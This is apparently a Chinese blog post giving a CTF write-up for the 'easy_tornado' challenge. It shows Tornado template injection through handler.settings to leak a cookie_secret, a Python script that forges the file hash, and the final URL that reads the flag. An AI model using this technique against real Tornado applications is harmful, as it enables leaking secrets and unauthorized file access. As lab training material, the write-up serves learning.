[护网杯 2018]easy_tornado

第一个文件flag.txt告诉我们flag在fllllllllllllag里

第三个文件hint.txt告诉我们filehash值的计算公式为

 
md5(cookie_secret+md5(filename))

当我尝试把filename换成fllllllllllllag而不改动filehash时,弹出一个错误页面

根据题目名称tornado以及主页第二个文件welcome.txt中的render提示,判断是模板注入。render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页。

当把msg的参数修改为{{7*7}}时,页面返回orz,说明被过滤

 

目前我们已经有了flag的filename,只需要知道cookie就可以计算出filehash,进而获取flag。

根据黑翼天使23的博客,我们了解到在Tornado的前端页面模板中存在一些可以访问的快速对象,例如

 <title>
     {{ escape(handler.settings["blog_title"]) }}
 </title>

我们想找的cookie就在handler.settings里面,通过render访问handler.settings便可以获取到cookie了

接下来编写py脚本计算filehash值

import hashlib

def md5(s):

 md5 = hashlib.md5() 

 md5.update(s.encode("utf8")) 

 return md5.hexdigest()


def filehash():

 filename = '/fllllllllllllag'

 cookie_secret = '216571c4-c73d-4552-9eaa-e17f1269d9b1'

 print(md5(cookie_secret+md5(filename)))


if __name__ == '__main__':

 filehash()

然后将得到的值放到对应的位置上,构建payload为

http://ca21d7f2-b48e-4b97-b538-821d2d25bf8c.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=6ae362ce8fc45f789ea20ff9fc771d1f

flag就出来啦

posted @ 2020-11-08 22:17  陈先z  阅读(686)  评论(0编辑  收藏  举报